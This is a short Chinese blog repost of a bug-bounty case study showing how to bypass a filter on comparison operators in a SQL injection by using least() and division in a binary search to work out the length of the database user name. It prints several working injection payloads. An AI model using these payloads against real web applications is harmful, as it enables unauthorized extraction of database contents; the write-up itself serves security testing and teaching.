src案例 | 二分法SQL注入绕过

admin 2024年6月17日10:38:51评论7 views字数 582阅读1分56秒阅读模式

二分法SQL注入

0x1 概述

当like、=、rlike、in、>、<都被过滤的时候,可尝试

0x2 过程

先确定注入点

'||+0+||'
src案例 | 二分法SQL注入绕过
image-20240506111648779
'||+1+||'
src案例 | 二分法SQL注入绕过
image-20240506111811891

由上可知0是查询不到的,大于0的数则能查到,因为用的是或逻辑,继续测试时发现like、=、rlike、in、>、<这样的比较符都被过滤了,且greatest、least函数没被过滤(前者返回最大值,后者返回最小值)。于是尝试二分注入,构造payload:

'||+least((length(user)/length(user)),1)+||'
src案例 | 二分法SQL注入绕过
image-20240506111904958
'||+least((length(user)/length(user))-1,1)+||'
src案例 | 二分法SQL注入绕过
image-20240506112346410

见上两图,同传入1和0效果一样,因此判断此处可尝试二分法注入,当构造到如下图所示时:

'||+least((length(user)/2)/2/2-1,1)+||'
src案例 | 二分法SQL注入绕过
image-20240506112314710
'||+least((length(user)/2)/2/2,1)+||'

src案例 | 二分法SQL注入绕过

因此可以确定出user的长度为:2^3+1=9

原文始发于微信公众号(土拨鼠的安全屋):src案例 | 二分法SQL注入绕过

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月17日10:38:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   src案例 | 二分法SQL注入绕过https://cn-sec.com/archives/2855126.html

发表评论

匿名网友 填写信息